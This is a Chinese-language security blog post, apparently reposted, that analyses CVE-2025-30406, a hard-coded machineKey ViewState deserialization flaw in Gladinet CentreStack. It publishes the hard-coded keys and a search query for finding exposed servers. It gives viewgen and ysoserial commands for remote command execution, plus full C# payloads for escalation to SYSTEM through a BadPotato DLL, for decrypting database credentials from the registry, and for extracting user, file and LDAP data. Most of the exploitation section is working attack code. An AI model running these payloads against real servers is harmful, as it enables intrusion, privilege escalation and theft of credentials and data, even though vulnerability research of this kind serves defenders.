CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析

admin 2025年5月15日23:36:47评论5 views字数 11507阅读38分21秒阅读模式

漏洞信息

漏洞名称:CVE-2025-30406 CentreStack ViewState 反序列化漏洞

漏洞原理:CentreStack 存在硬编码的 machineKey, 导致 ViewState 反序列化漏洞。

影响产品:Gladinet CentreStack 和 Triofox

产品介绍:CentreStack 是 Gladinet 的主要移动访问和安全共享解决方案。来自包括美国、加拿大、英国、澳大利亚、荷兰、瑞士等49个国家的数千家企业使用CentreStack。通过CentreStack,这些企业解决了数据所有权、数据隐私和数据安全问题,同时为其员工引入了一个安全的文件共享解决方案。

搜索语法:

response:"/portal/loginpage.aspx" AND response:"__VIEWSTATEGENERATOR"

环境搭建

下载:https://www.centrestack.com/p/gce_latest_release.html

版本:16.1.10296.56315

windows server exe 安装即可

CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析

ViewState 反序列化

ViewState 介绍

ViewState 是 ASP.NET WebForms 中用于在客户端保存控件状态的一种机制。它允许在页面回发(PostBack)时,服务器可以重新还原控件的上一次状态,而不需要重新初始化所有数据。

它一般是以 Base64 编码的形式存储在 HTML 中,例如:

CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析

ViewState 生成恢复过程

生成过程:控件树 -> SaveViewState -> 序列化 -> (加密) -> (签名) -> Base64 -> HTML输出

  1. 控件树生成:用户访问 .aspx 页面时,ASP.NET 解析页面,构建控件树(Page + 各种 Server 控件),控件持有属性状态(如 Text、Value、Checked)。 

  2. 保存控件状态:每个控件调用 SaveViewState(),将自己的状态保存到(可选)(轻量数据结构)。 

  3. 对象树序列化:使用 LosFormatter 或 ObjectStateFormatter,将对象树序列化成字节流。 

  4. 加密(可选):如果启用,使用 AES 加密字节流,密钥来自 web.config 中的 machineKey(decryptionKey)。 

  5. 签名(可选):用 HMACSHA1 或 HMACSHA256,结合 validationKey,对数据进行签名,防篡改。 

  6. Base64 编码输出:最后将字节流Base64编码,嵌入页面的 <input type="hidden" id="__VIEWSTATE" />

将 ViewState 恢复到控件的过程:接收 HTML -> Base64解码 -> (验证签名) -> (解密) -> 反序列化 -> LoadViewState

ViewState 反序列化

从上面恢复的过程可以看出,一旦泄露了加密和签名所使用的算法和密钥,我们就可以构造恶意的 ViewState 实现反序列化攻击。

加密和签名序列化数据所用的算法和密钥存放在 web.config  。该漏洞就是由于 web.config 中配置的算法和密钥是固定的,我们可以本地搭建环境获取其密钥然后构造反序列化 Payload。

漏洞复现

环境搭建完毕可以在 "C:Program Files (x86)Gladinet Cloud Enterpriserootweb.config" 中可以找到 ViewState 密钥。

CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
decryption="AES" decryptionKey="B4C3E4CB6CAF27CA9F7909640A4D608CC4458173F13E09C9" validationKey="5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16"
随后可以使用 viewgen 工具进行验证:获取登陆页面中的 VIEWSTATE 和 VIEWSTATEGENERATOR:
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
docker run 0xacb/viewgen --decode --check --modifier 3FE2630A "/wEPDwUJLTc5MTM0MzY1DxYCHhNDU1JGVG9rZW4xNTk5MTIwOTM2BSRmN2JkYTAwMC01YjNlLTQ2MWMtODUyYy04MDhlOWM5YWI4YzQWAmYPZBYCAgEPZBYCAgEPZBYEAgQPZBYIZg8PFgIeCEltYWdlVXJsBRVpbWFnZXMvdGVhbWNsb3VkMi5qcGdkZAIBDw8WAh8BBRhpbWFnZXMvY2VudHJlc3RhY2tfbC5wbmdkZAICD2QWBgICDw8WAh4HVG9vbFRpcAUJVXNlciBOYW1lFgIeC3BsYWNlaG9sZGVyBQlVc2VyIE5hbWVkAgYPZBYCAgEPDxYCHwIFCFBhc3N3b3JkFgIfAwUIUGFzc3dvcmRkAgoPDxYEHgtOYXZpZ2F0ZVVybAUPR0Nsb3VkUGxhbi5hc3B4HgdWaXNpYmxlaGRkAgsPDxYCHgRUZXh0ZGRkAgoPDxYCHwYFC0NlbnRyZVN0YWNrZGRkMTmsZSWav/7DTVPhcB8+QA8OWceS26J2YazzfcBTmT8=" --vkey "5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16" --valg SHA256 --dkey "B4C3E4CB6CAF27CA9F7909640A4D608CC4458173F13E09C9" --dalg "AES" 
可以成功解码:
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
命令执行测试:
docker run 0xacb/viewgen --command "cmd /c ipconfig > C:WindowsTempipconfig.txt" --modifier 3FE2630A "/wEPDwUJLTc5MTM0MzY1DxYCHhNDU1JGVG9rZW4xNTk5MTIwOTM2BSRmN2JkYTAwMC01YjNlLTQ2MWMtODUyYy04MDhlOWM5YWI4YzQWAmYPZBYCAgEPZBYCAgEPZBYEAgQPZBYIZg8PFgIeCEltYWdlVXJsBRVpbWFnZXMvdGVhbWNsb3VkMi5qcGdkZAIBDw8WAh8BBRhpbWFnZXMvY2VudHJlc3RhY2tfbC5wbmdkZAICD2QWBgICDw8WAh4HVG9vbFRpcAUJVXNlciBOYW1lFgIeC3BsYWNlaG9sZGVyBQlVc2VyIE5hbWVkAgYPZBYCAgEPDxYCHwIFCFBhc3N3b3JkFgIfAwUIUGFzc3dvcmRkAgoPDxYEHgtOYXZpZ2F0ZVVybAUPR0Nsb3VkUGxhbi5hc3B4HgdWaXNpYmxlaGRkAgsPDxYCHgRUZXh0ZGRkAgoPDxYCHwYFC0NlbnRyZVN0YWNrZGRkMTmsZSWav/7DTVPhcB8+QA8OWceS26J2YazzfcBTmT8=" --vkey "5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16" --valg SHA256 --dkey "B4C3E4CB6CAF27CA9F7909640A4D608CC4458173F13E09C9" --dalg "AES" 
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析

漏洞利用

权限提升

当前的命令执行是 IIS 的权限,我们可以利用土豆提权到 System 。可以通过 ActivitySurrogateSelectorFromFile 利用链来实现。该链可以做到代码执行,这里可以通过加载土豆提权的 dll 实现权限提升。

这里使用 Godzilla 中的 BadPotato.dll 做好了 HTTP 相关的封装我们可以直接在这里使用:

添加 cmd 参数调用 ToString 方法后从 result 获取结果

CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
代码如下:
using System;using System.Collections;using System.IO;using System.Reflection;using System.Text;using System.Web;public class E{    publicstringRun()    {        try        {            string base64Dll = HttpContext.Current.Request.Form["x"];            if (string.IsNullOrEmpty(base64Dll))            {                return "";            }            byte[] dllBytes = Convert.FromBase64String(base64Dll);            Assembly assembly = Assembly.Load(dllBytes);            Type runType = assembly.GetType("BadPotato.Run");            if (runType == null)            {                return "";            }            object instance = Activator.CreateInstance(runType);            var parametersField = runType.GetField("parameters", BindingFlags.NonPublic | BindingFlags.Instance);            if (parametersField == null)            {                return "";            }            HttpContext context = HttpContext.Current;            Hashtable parameters = new Hashtable();            parameters.Add("cmd", Encoding.Default.GetBytes(context.Request.Form["c"]));               parametersField.SetValue(instance, parameters);            // 执行 toString 方法触发权限提升命令执行            instance.ToString();            // 获取结果            var resultField = parameters["result"];            if (resultField != null)            {                return Encoding.Default.GetString((byte[])resultField);            }            return "";        }        catch (Exception ex)        {            return "";        }    }    publicE()    {        try        {            HttpContext context = HttpContext.Current;            context.Server.ClearError();            context.Response.Clear();            context.Response.Write(Run());        }        catch (System.Exception ex)        {            HttpContext.Current.Response.Write("Error: " + HttpUtility.HtmlEncode(ex.ToString()));        }        HttpContext.Current.Response.Flush();        HttpContext.Current.Response.End();    }}
生成 payload:
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile  --decryptionkey="B4C3E4CB6CAF27CA9F7909640A4D608CC4458173F13E09C9" --validationkey="5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16" --generator=3FE2630A -c "CentreStack.BadPotato.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runtime.Extensions.dll;"
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析

获取数据库配置

在 CentreStack 的根目录有一个 ChangeDBSettings.exe,反编译可以找到其数据库连接信息的存储位置。

CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析

可以看到其更新数据库配置其实就是去修改注册表 SOFTWAREGladinetEnterprise 中的值。

密码是加密后存储的,但是使用的是 AES 我们可以进行解密。

CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
不过在本地搭建环境中发现是存储在 DBConn 中的,可能手动修改后才是 ChangeDBSettings 中的那样。
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
根据这个就可以去构造 Payload 获取数据库的配置信息了。
using System;using System.IO;using System.Security.Cryptography;using System.Text;using System.Web;using Microsoft.Win32;public class E{    private const string Random3 = "不过,调查也显示,日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位。近三分之二的埃及人认为中国『永远也不会』取代美国成为唯一的超级大国。在美国人中,有57%的受调查者认为美国不会把地位输给中国,不过也有三分之一的美国人认为,中国最终将超过美国,更有7%的人认为中国已经超过美国了。西欧国家的受调查者则比去年更加认为,中国永远也不会超过美国成为世界领袖。例如,44%的西班牙人和43%的法国人认为美国将保持自己的『一超』地位,比去年的比例都增加了9个百分点。不过,在接受调查的4个西欧国家中,大多数人都认为中国已经取代美国或者必将超过美国成为世界领袖。另外,墨西哥人的17%、阿根廷人的16%和印度人的15%也都认为,中国已经取代美国,成为世界头号超级大国了。";    private const string Random4 = "moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが、無料だと容量が1Gバイトでちょっと手狭だ。「Gladinet」を利用してみよう。複数のウェブストレージを、ZumoDriveと同様、フォルダみたいに使えるようにするソフトse Software Gladinet ermöglicht es euch via Laufwerksbuchstabe zum Beispiel au";    private static readonly byte[] bs3 = Encoding.UTF8.GetBytes(Random3);    private static readonly byte[] bs4 = Encoding.UTF8.GetBytes(Random4);    private static Aes aesProvider;    stringEncode(string s)    {        return String.IsNullOrEmpty(s)            ? String.Empty            : HttpUtility.HtmlEncode(s);    }    publicE()    {        HttpContext ctx = HttpContext.Current;        ctx.Server.ClearError();        ctx.Response.Clear();        try        {            string DBConn = ReadEncryptedConnFromRegistry("DBConn");            string DBServer = ReadEncryptedConnFromRegistry("DBServer");            string DBUser = ReadEncryptedConnFromRegistry("DBUser");            string DBUserPassword = ReadEncryptedConnFromRegistry("DBUserPassword");            string DBName = ReadEncryptedConnFromRegistry("DBName");            StringBuilder sb = new StringBuilder();            sb.Append("<DBConn>");            sb.Append(Encode(Decrypt(DBConn, 32)));            sb.Append("</DBConn>");            sb.Append("<DBServer>");            sb.Append(Encode(DBServer));            sb.Append("</DBServer>");            sb.Append("<DBUser>");            sb.Append(Encode(DBUser));            sb.Append("</DBUser>");            sb.Append("<DBUserPassword>");            sb.Append(Encode(Decrypt(DBUserPassword, 32)));            sb.Append("</DBUserPassword>");            sb.Append("<DBName>");            sb.Append(Encode(DBName));            sb.Append("</DBName>");            ctx.Response.ContentType = "text/plain; charset=utf-8";            ctx.Response.Write(sb.ToString());        }        catch (Exception ex)        {            ctx.Response.Write("Error: " + HttpUtility.HtmlEncode(ex.Message));        }        finally        {            ctx.Response.Flush();            ctx.Response.End();        }    }    staticstringReadEncryptedConnFromRegistry(string valueName)    {        const string subKeyPath = @"SOFTWAREGladinetEnterprise";        try        {            RegistryView view = Environment.Is64BitProcess                ? RegistryView.Registry64                : RegistryView.Registry32;            using (RegistryKey hklm = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, view))            using (RegistryKey key = hklm.OpenSubKey(subKeyPath))            {                if (key == null)                    return string.Empty;                object val = key.GetValue(valueName);                if (val == null)                    return string.Empty;                return val.ToString();            }        }        catch        {            return string.Empty;        }    }    static Aes GetAES(int n)    {        if (aesProvider != null)            return aesProvider;        Aes aes = Aes.Create();        aes.KeySize = 256;        aes.Key = GetBytes(bs3, n);        aes.IV = GetBytes(bs4, n / 2);        aesProvider = aes;        return aes;    }    staticbyte[] GetBytes(byte[] src, int count)    {        byte[] dst = new byte[count];        Array.Copy(src, dst, count);        return dst;    }    staticstringDecrypt(string cipherText, int n)    {        if (string.IsNullOrEmpty(cipherText))            return string.Empty;        try        {            Aes aes = GetAES(n);            byte[] cipherBytes = Convert.FromBase64String(cipherText);            using (MemoryStream ms = new MemoryStream(cipherBytes))            using (CryptoStream crypto = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Read))            using (StreamReader reader = new StreamReader(crypto, Encoding.UTF8))            {                return reader.ReadToEnd();            }        }        catch        {            return cipherText;        }    }}
生成 Payload:
.ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile --decryptionkey="B4C3E4CB6CAF27CA9F7909640A4D608CC4458173F13E09C9" --validationkey="5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16" --generator=3FE2630A -c "CentreStack.GetConn.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runtime.Extensions.dll"
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析

其密码为 win-i3ba3ebkbaf ,其实就是主机名。

获取数据库信息

连接数据库后对其中的表进行简单分析,发现有用户邮箱、文件名称和对应路径、LDAP 配置等信息,还是很有用的。我们可以直接利用 CentreStack 本身的数据库操作 DLL 实现信息的获取。

现在来寻找数据库操作的 dll ,这里看到了一个 AddUserPage.aspx: 

CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
userlib.dll user.GladUserMgr
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
继续跟进 CreateUserEx 方法,最终跟进到 GladUserDB 类。
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析

主要关注 GetRegConnString() 和  Config.ConnectionString 可以和上面获取数据库信息的逻辑对上:

GetRegConnString 主要是直接获取注册表中的 DBConn 字段:

CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析

Config.ConnectionString 则是获取单独的字段随后构造连接字符串:

CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析
随后连接字符串给传入 GetDBByConnString,根据其特征分别是 3 种不同的数据库:sql server、postgres、mysql
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析

到这里我们就知道该如何去直接调用这个 dll 去执行 sql 了。

构造 Payload:

.ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile --decryptionkey="B4C3E4CB6CAF27CA9F7909640A4D608CC4458173F13E09C9" --validationkey="5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16" --generator=3FE2630A -c "CentreStack.ExecSql.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runtime.Extensions.dll"
CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析

CentreStack 中部分表介绍:

  • xaf_user:邮箱信息

  • xaf_namedvalue:配置项,name=ldap_endpoint 的就是 LDAP 的连接信息可以解密

  • csmain_xaf_files:文件信息( 名称、路径 )

  • .....

xaf_namedvalue 中的 ldap_endpoint  是加密的,但是解密方式和数据库连接信息的完全相同。

CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析

漏洞修复

machineKey 从硬编码更改为随机生成

CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析

参考链接

  • https://www.huntress.com/blog/cve-2025-30406-critical-gladinet-centrestack-triofox-vulnerability-exploited-in-the-wild

  • https://exp10it.io/2024/02/asp-net-viewstate-deserialization/

原文始发于微信公众号(源影安全团队):CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月15日23:36:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2025-30406 CentreStack ViewState 反序列化漏洞分析https://cn-sec.com/archives/4069718.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息